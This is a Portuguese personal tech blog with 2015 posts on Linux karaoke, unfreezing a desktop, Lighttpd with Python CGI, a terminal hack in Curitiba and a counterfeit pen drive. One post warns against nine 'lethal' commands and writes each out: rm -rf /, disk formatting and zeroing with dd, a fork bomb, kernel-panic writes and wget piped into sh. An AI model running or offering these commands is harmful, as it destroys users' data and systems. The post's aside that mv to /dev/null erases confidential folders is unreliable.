sábado, 29 de agosto de 2015

Divertimento - Karaokê no Computador

"No princípio existia o MIDI...", então os Japoneses para se divertirem criaram o Karaokê, traduzido para cante afinado ou desafinado mas anime (não é o quadrinho) a galera. Pois bem, alguém resolveu pegar um MIDI e juntar a letra da música e surgiu o "Karaokê de Computador".

Antes de continuarmos deixe-me esclarecer algumas perguntas que devem estar povoando a sua mente, MIDI (Musical Instrument Digital Interface) é a forma como instrumentos eletrônicos (tais como, teclados, sintetizadores, placas de som, etc.) se comunicam entre si. MIDI também é utilizado quando um computador comunica e controla um instrumento musical eletrônico. Para o nosso interesse MIDI é um som gravado de um teclado no computador. MIDI Karaoke é um arquivo que usa os leitores de arquivos em formato KAR ou ST3. Estes softwares ao tocar estes arquivos tocam a música do midi sincronizada com sua letra no monitor do computador. Obviamente que alguma santa alma teve o trabalho de realizar essa sincronização e criação do arquivo.


O que devo possuir no Computador?


Existem vários programas que executam arquivos de MIDI Karaokê. Para o Ubuntu utilizo o KMid.

KMid 2.4.0 versão 32 bits
KMid 2.4.0 versão 64 bits

Para executar um arquivo de Karaokê é necessário além do software adequado uma placa de som com dispositivo capaz de executar informações MIDI. Então verifique se seu Sistema Operacional está habilitado para tocar este tipo de arquivo. Se seu Ubuntu não estiver habilitado, não se desespere, instale primeiro um aplicativo chamado Sequenciador MIDI TiMidity++ que se encontra disponível na loja. Ou seja, instale primeiro o TiMidity e depois instale o KMid que funcionará sem o menor problema. Continua sem som? Outros problemas podem ser resolvidos instalando o ALSA, com o seguinte comando:
$ sudo  apt­get install  alsa­base.
Porém podem acontecer incompatibilidades com o som padrão chamado PulseAudio, para desinstalá-lo use o comando:
$ sudo apt­get purge pulseaudio.
Para testar se tudo está funcionando sem problemas utilize o comando:
$ speaker­test.

Quais são os tipos de Arquivos MIDI Karaokê?


Formato KAR

São os arquivos de karaokê mais comuns de se encontrar. Possuem extensão KAR. São as simples junções de um arquivo MIDI com a letra da música (KMid só funciona com este tipo de arquivo).

Formato ST3

Arquivos com extensão ST3, são arquivos de Karaokê produzidos pelo STAR3. Tais arquivos são visualizados em softwares como o RealOrchê (na minha opinião o melhor software para qualquer tipo de arquivo), com a adição de imagens, que são mostradas enquanto é exibida a letra das músicas. É interessante saber que arquivos de formato KAR podem ser convertidos em arquivos de formato ST3, porém a operação inversa não é possível.

SushiOkêNigth


Sushi iguaria feita de arroz temperado com vinagre recheado com frutos do mar, frutas ou legumes típico da culinária japonesa, Karaokê fundo musical aonde uma ou mais pessoas cantam acompanhando e Nigth noite em inglês mas popularmente conhecido pela galera como uma noite de festa ou de agito, juntando tudo, forma-se a SushiOkêNigth aonde amigos se reúnem para passar uma noite bem divertida e animada.

Antes de começar esse agito, precisamos organizar algumas coisas:
  • Alguém que gentilmente ceda a casa e tenha vizinhos que não se importem com os propensos cantores e nem tenham a tentação de ligar para o 190 ou 911 (respectivamente telefones da Polícia e do Hospício Municipal).
  • Alguém que dê o tom de animador da festa, um "Silvio Santos" para coordenar os cantores que se revezarão com os propensos a cantores, pode-se dizer que assim fica um minuto de paz e um minuto para ir lá fora buscar uma cervejinha, funciona mais ou menos como os comerciais dos filmes.
  • Caixa amplificadora para ligar ao computador, as caixinhas próprias do computador vão acabar estourando.
  • Microfones. Melhor mesmo é um para poder ver alguém cantando e outros (que foi lá só para fazer companhia mesmo) ficar na coreografia da música.
  • Uma boa quantidade de bebida e comida que será rateada entre os participantes, não precisa necessariamente ser Sushi, principalmente se seus amigos não gostam, pode-se muito bem fazer um ArrozCarreteirOkêNigth ou um ChurrascOkêNight (Devido a experiências não aconselho a fazer uma BuchadOkêNight nem uma FeijoadOkêNigth a menos que na casa tenha de 8 a 10 banheiros, preferencialmente fora da casa).
  • Um monte, mas uma grande quantidade de músicas, preferencialmente de todos os estilos possíveis e conhecidos, estas podem ser obtidas no KBoing.
Por trás de tudo isso vem o ingrediente principal: Se divertir. Karaokê não deve ser algo profissional, evite críticas para não assustar as pessoas que não cantam muito bem pois serão o ponto alto da noite, Karaokê existe para que as pessoas se divirtam e baixem o nível de stress.

Obrigado e até a próxima
Fernando Anselmo

sábado, 22 de agosto de 2015

Linux - Travou e agora?

Um fato me ocorreu esta semana muito estranho, de vez em quando me divirto com o site 9GAG só o insaciável Chrome por memória resolveu travar meu computador, antes de apertar o RESET me lembrei de um pequeno detalhe: Estava no Linux. Ou melhor, estava no Ubuntu.

Para quem desconhece, a parte gráfica é apenas um dos componentes do Sistema Operacional Linux, diferente do Windows ou Mac que não sobrevivem sem essa camada. Para o Ubuntu e muitos outros sistemas existe a chamada: parte não gráfica, que continua lá mesmo que não a recordemos muito. Veja a seguinte figura:

Com a combinação de teclas Ctrl+Alt+F1 (pode tentar até F6) se chega a ela. Para que serve? Para usar o sistema em modo não gráfico - Então nunca precisaria abrir um terminal? Em tese, não. Essas áreas, chamaremos com o nome de TTY (abreviatura para TeleType Writer) são utilizadas como camadas no sistema, ou seja, temos 6 camadas não gráficas (TTY1 a TTY6) e uma gráfica (TTY7) e para acessá-las basta usar a combinação de teclas Ctrl+Alt+F1 a F6 (para as não gráficas) e Ctrl+Alt+F7 (para a gráfica). Quando estamos no terminal (através de Ctrl+Alt+T) estamos em uma "Pseudo" TTY, abra o terminal e digite o comando:
$ tty
E como resposta deve receber algo como: /dev/pts/8. Esse número 8 pode variar de sistema, mas faz parte da camada gráfica (como no Windows), já as outras TTY são completamente independentes entre si, e podem ser utilizadas para "destravarmos" suas irmãs. Pois uma coisa legal que acontece é que as camadas se falam, façamos um teste muito simples, coloque algo para tocar e aperte Ctrl+Alt+F1, observe que a música parou. Agora acesse com seu usuário essa camada, e a música retorna, saia com o comando exit e retorne ao modo gráfico com Ctrl+Alt+F7.

Retornando a pergunta, para quê usar o terminal então? Tudo depende do que se está fazendo, se for algum trabalho rápido ou que envolva usar o modo gráfico de vez em quando então use o terminal que é mais prático.

Resumindo, se travamos um processo em uma dessas camadas, podemos muito bem acessar outra camada para solucionar o problema. Então, no meu caso a solução foi simples:
  1. Digitar a combinação Ctrl+Alt+F1, para acessar a TTY1.
  2. Localizar o processo do Chrome, sudo ps aux
  3. Eliminar o processo: kill -9
  4. Digitar a combinação Ctrl+Alt+F7, para retornar o modo gráfico.
Ou seja, tudo uma simples questão de usar o sistema a meu favor e adeus ao botão RESET.

Obrigado e até a próxima
Fernando Anselmo

sábado, 15 de agosto de 2015

Python - No Web Server Lighttpd

Não tenho absolutamente nada contra o Apache, consideremos que, só vezes, o utilizamos como "um canhão para matar um mosquito",  então que tal voltarmos a boa "Raquete Elétrica". O Lighttpd é um Servidor Web que foi criado como o objetivo de baixo consumo de memória. Toda sua configuração é com base em Expressões Regulares ao estilo Perl. Este levíssimo servidor tornou-se o preferido na Comunidade do Ruby on Rails, mas aqui vamos utilizá-lo com outra linguagem: Python.

Obs. Como sempre, todos os comandos utilizados são para Ubuntu 15.04. Porém acredito que possam ser portados facilmente para outros ambientes. Tudo pode ser realizado de modo gráfico (por exemplo, na Loja de Aplicativos basta procurar por lighttpd), aqui usaremos o terminal.

Digitar o seguinte comando no terminal para proceder a instalação do Lighttpd:
$ sudo apt-get install lighttpd
O servidor já foi instalado e deve estar funcionando corretamente, basta digitar em um navegador:
http://localhost
E como resposta teremos a seguinte página:


Configuração para rodar o Python


Vamos agora editar o arquivo de configuração do Lighttpd através do seguinte comando:
$ sudo nano /etc/lighttpd/lighttpd.conf
Alterar a seção server.modules para a seguinte configuração:
server.modules = (
        "mod_access",
        "mod_alias",
        "mod_compress",
        "mod_redirect",
        "mod_cgi",
        "mod_rewrite",
)
Adicionar, ao final do arquivo, as seguintes linhas que permitem executar Scripts em Python:
$HTTP["url"] =~ "^/python/" {
  cgi.assign = (".py" => "/usr/bin/python")
}
Salve (com CTRL+X) esta configuração.

Este próximo passo é totalmente opcional. Prefiro utilizar uma pasta local do meu usuário para poder criar e modificar arquivos sem ter que usar o superusuário para tal. Sendo assim, no raiz do seu usuário criar as seguintes pastas:
$ cd ~
$ mkdir lighttpd
$ cd lighttpd
$ mkdir python
Copiar a página inicial do Lighttpd (se desejar) para a pasta raiz:
$ sudo cp /var/www/html/ .
Editar o arquivo de configuração:
$ sudo nano /etc/lighttpd/lighttpd.conf
Alterar o caminho da pasta padrão:
server.document-root        = "/home/<seu_usuario>/lighttpd"
Modificar o usuário e grupo padrão:
server.username             = "<seu_usuario>"
server.groupname            = "<seu_usuario>"
Salve (com CTRL+X) esta configuração.

Reiniciar o servidor:
$ sudo service lighttpd restart
Pronto. Já está tudo funcionando. Podemos sair do terminal e com um editor (recomendo o PyCharm) criar um arquivo de teste (por exemplo: hello.py) na pasta ~/lighttpd/python com a seguinte codificação:
#!/usr/bin/python
print('Content-Type: text/html\n')
print('<html><head>')
print('<title>Primeiro Script</title></head>')
print('<body><h1>Script Python em Lighttpd</h1>')
for count in range(1,50):
   print('Python Ativado ')
print('</body></html>')
Acesse novamente o navegador e digitar o seguinte endereço http://localhost/python/hello.py e obtemos a seguinte imagem:

Tudo pronto e já podemos criar nossos sites utilizando o poder do Python.

Obrigado e até a próxima
Fernando Anselmo

domingo, 9 de agosto de 2015

Linux - Invasão em Curitiba

Essa semana uma mensagem circulou entre várias redes sociais, a Invasão nos sistemas dos Terminais de Curitiba que ao invés das informações cotidianas mostrava imagens de um Site Pornográfico. Dois detalhes fizeram parte nessa imagem:
  1. Claramente se reconhece o Sistema Operacional como o Ubuntu.
  2. O uso do software Team View - que permite a comunicação remota entre máquinas.

Certa vez um aluno me perguntou se com meus anos de experiência na área de informática conseguiria invadir um Sistema Operacional, respondi um sonoro depende. Depende dos seguintes fatores:
  1. Qual sistema? Está bem atualizado?
  2. Existe algum contato externo? (como por exemplo Internet)
  3. A senha das ferramentas administrativas é segura?
É possível invadir um Linux, ele insistiu. Facilmente respondi, principalmente se está totalmente aberto. Como assim? Ele me perguntou. Certa vez cheguei em uma máquina na qual a senha do root era admin123, na outra o JBoss (que libera vários acessos e portas) tinha como senha principal a padrão Admin/Admin e outra o sistema era tão antigo que acredito que tinha sido instalado através de disquetes.

No caso dessa invasão, percebo 2 detalhes mortais: Primeiro, o excesso de software (facilmente visualizado na barra do Ubuntu a esquerda), se isso é um terminal com um fim específico remova tudo que pode auxiliar um invasor em seu trabalho. Segundo, o invasor deve ser provavelmente um guri carregado de espinhas, pois se fosse um profissional teria mostrado alguma informação positiva como forma de protesto e não um site pornô (que por sinal é um dos mais famosos do mundo). Então, se um cracker júnior conseguiu fazer isso o que faria um profissional em invasões.

Existem no mundo profissionais que são contratados por empresas de segurança para invadir sistemas de modo a descobrir falhas. Por exemplo, a Microsoft publicou essa semana um aviso de recompensar com U$ 100 mil para aquele que mostrar falhas em seu novo sistema operacional Windows 10.

Não pense que por instalar o Linux finalmente estará livre de pragas e ataques, muito pelo contrário, existem invasões em aparelhos celulares (com todos os sistemas possíveis), Linux de todas as formas e tipos. Então as seguintes dicas preventivas continuam valendo:
  1. Deixe sempre seu sistema bem atualizado e somente com os softwares de procedência conhecida.
  2. Proteja bem a senha do root, caracteres maiúsculas e minúsculas, e números. Certa vez recebi a senha automática de um site, uma verdadeira sopa de letrinhas com 15 caracteres, tive que decorá-la pois não se permitia a troca da senha, resultado que a uso (com algumas variações) em diversos sistemas que configuro.
  3. Se vai usar softwares que permitem o controle total do computador, tais como TeamView ou LogMeIn, deixe muito bem configurado no Firewall as permissões de uso.
  4. A Internet é maravilhosa, só que para usá-la devemos ser responsáveis.
Todo sistema é passível de invasão, quem vai invadi-lo é que pode variar. Espero sinceramente que isso sirva de aviso para o responsável e a muitas outras empresas. Pois se um pseudo-cracker, que foi o responsável por isso e quis apenas testar o que aprendeu com algumas ferramentas de invasão, mas não soube mostrar nada de bom, pelo menos, podemos tirar algumas valiosas lições.

Obrigado e até a próxima
Fernando Anselmo

Não confunda as criaturas do mundo da informática: Hacker é a pessoa que elabora e modifica softwares e hardwares de computadores, seja desenvolvendo funcionalidades novas ou adaptando as antigas. Cracker é usado para aquele que pratica a quebra (ou cracking) de um sistema de segurança. E ambos os termos podem ser empregados para boas ou más intenções, por exemplo, se a pessoa cria ou modifica vírus de forma a contaminar computadores ou se modifica sistemas de antivírus para protegê-los é chamada Hacker de forma similar.

Conheça mais sobre segurança Linux neste interessante artigo com um passo a passo para manter um Sistema Linux Seguro.

sexta-feira, 7 de agosto de 2015

Linux - Descobrindo fraudes de Pen Drive

Com um pouco de pesquisa na Web descobri que existe um Pen Drive com capacidade de 2 Tb, isso mesmo, 2 Terabytes, ou seja, muito maior que alguns HD externos que existem por aí. Como um cara que vive de informática procurei mais informações e junto com alguns colegas importamos por míseros R$ 33,00 o tão sonhado Pen Drive de 2 Tb com marca HP (o que por si só já me inspirou muita confiança no produto).

Como esse aí da imagem, antes mesmo do produto chegar a venda foi cancelada e o dinheiro completamente devolvido, como assim chegar? Passado alguns dias o produto estava na minha mão. Mas qual foi o motivo que o dinheiro foi devolvido? Simples, o site deve ter identificado a série de reclamações sobre o produto.

Primeiro quero deixar claro que a HP nada tem a ver com esse produto. Segundo que na embalagem uma coisa me deixou com uma pulga atrás da orelha, dizia que o produto só podia ser usado por Windows ou Mac. Como assim? Se a formatação do mesmo era FAT32 porque não podia usar no Linux que lê sem o menor problema esse tipo de partição?

Comecei então a correr atrás do que estava acontecendo, primeiro que realmente a partição em todos os sistemas operacionais que testei indicava realmente que a capacidade era de 2 Tb. Só que ao copiar um determinado conjunto de arquivos que somavam mais do que um determinado tamanho e desplugar o Pen Drive os arquivos simplesmente desapareciam. Alguma coisa estava muito errada, resolvi então usar o Linux para descobrir.

Com alguns comandos descobri que o ChipSet do Pen Drive não era HP, mas algo como Alcor e em outro nem marca tinha. Com uma consulta a base de dados do iFlash, consegui localizar o tamanho correto: 101 Mb. Isso mesmo o que era para ser um produto de capacidade de 2 Terabytes possuía na verdade a capacidade de um Pen Drive que se fosse vendido atualmente não custaria R$ 1,00 (isso se alguém quisesse algo com capacidade de 100 disquetes que pode ser usado para dar de brinde em festa de criança - ou talvez em um casamento com as fotos dos padrinhos).

Estou postando isso para que não caia no conto do Pen Drive maravilhoso de 500 Gb, 1 Tb ou mesmo 2 Tb e perca, pior que seu dinheiro, arquivos que lhe farão uma enorme falta - ATENÇÃO: Este Pen Drive copia toda informação, só que ao desplugar ou tentar ler é que começam os problemas.

Obrigado e até a próxima
Fernando Anselmo

segunda-feira, 3 de agosto de 2015

Linux - 9 comandos fatais

Este artigo foi criado com base no artigo de Joel Lee entitulado "9 Lethal Linux Commands You Should Never Run" e por achá-lo importante resolvi adaptá-lo aqui. Não espere uma tradução literal.


Muitos usuários Linux utilizam o terminal, e o sistema supõe que todos esses usuários são extremamente inteligentes e sabem exatamente o que estão fazendo, mas são todos humanos e acredito que a característica principal da humanidade é incorrer em erros. Esses 9 comandos a seguir nunca devem ser tentados por nenhum usuário do Linux, com o perigo de danificar irreparavelmente o sistema.

Exclusão Recursiva

Um dos parâmetros mais usados com o comando rm é o -rf, principalmente para se eliminar arquivos e pastas de maneira recursiva. Mas digitar o comando:
rm -rf /
Pode ser extremamente desastroso, dica: Nunca use o sudo para operar tal comando a menos que tenha a total certeza do que está fazendo.

Formatar seu HD

Sempre que for formatar um Pen Driver se corre o risco de digitar o comando:
mkfs.vfat /dev/hda
Pode parecer bobeira, mas já perdi um Pen Driver cheio de arquivos por digitar o endereço errado, imagina se tivesse sido o HD?

Reescrever o HD

É muito comum a geração de arquivo desviando a saída de algum comando com o > e, talvez por pressa, se resolva realizar esse processo diretamente em um Pen Drive e termine escrevendo o seguinte comando:
comando > /dev/hda
Não tenha pressa, primeiro gere o arquivo e depois mova-o para seu local de destino.

Limpando o HD

Este é mais um daqueles comandos que podem estragar completamente o HD. O que acontece é, literalmente, encher seu HD com Zeros:
dd if=/dev/zero of=/dev/hda/
Normalmente é um bom comando para ser usado em Pen Drive, além de fazer as coisas com calma use sempre o comando fdisk -l para saber aonde estão suas unidades.

Implodir o HD

Que tal conseguir anular completamente seu HD? Pois basta usar o comando:
mv / /dev/null
Este arquivo /dev/null é especial no Linux para as áreas de descarte do sistema, sendo extramente útil quando se deseja eliminar uma pasta confidencial.

Pânico no Kernel

Em Windows temos a famosa Tela Azul, já em Linux temos esses terríveis comandos:
dd if=/dev/random of=/dev/port
echo 1 > /proc/sys/kernel/panic
cat /dev/port
cat /dev/zero > /dev/mem
Basta digitar qualquer uma dessas linha para forçar uma reinicialização do sistema ou talvez algo pior.

Fork Bomb

Este termo, Fork Bomb (também chamado de Rabbit Virus ou Wabbit) é um ataque de negação de serviço em que um processo replica-se continuamente até esgotar todos recursos disponíveis no sistema, causando falta de recursos, retardamento ou deixar de funcionar.
Bash é a linguagem oficial do terminal e muito poderosa, e o seguinte comando no terminal:
:(){:|:&};:
Causa um Fork Bomb, então sempre que obter um Script que promete milagres, tente primeiro entender seu conteúdo antes de rodá-lo.

Executar um Script Remotamente

wget é um comando muito utilizado para retornar conteúdo da Web ou mesmo para acessar Sites, porém um simples combinação deste comando pode ser mortal:
wget http://uma-url-nao-confiavel -O- | sh
Essa combinação baixa um conteúdo qualquer da Web e o repassa ao comando sh para sua imediata execução. Se isso apontar para um Script malicioso pode dar adeus ao seu sistema.

Desabilitar os Privilegios do Root

Qualquer usuário Linux sabe que o usuário root é o Deus do Sistema e o utiliza indiscriminadamente, mas usar o comando:
rm -f /usr/bin/sudo;rm -f /bin/su
É uma forma muito estranha de brigar com Deus. Lembre-se que o root é seu amigo e só deve ser usado em ocasiões de extrema necessidade.

Esses 9 comandos não devem ser usados em nenhuma ocasião, como medida de segurança tenha sempre seus backups em dia. Quando abrir uma janela de terminal não tenha pressa e tenha a certeza de qual comando está digitando antes de apertar o Enter.

Obrigado e até a próxima
Fernando Anselmo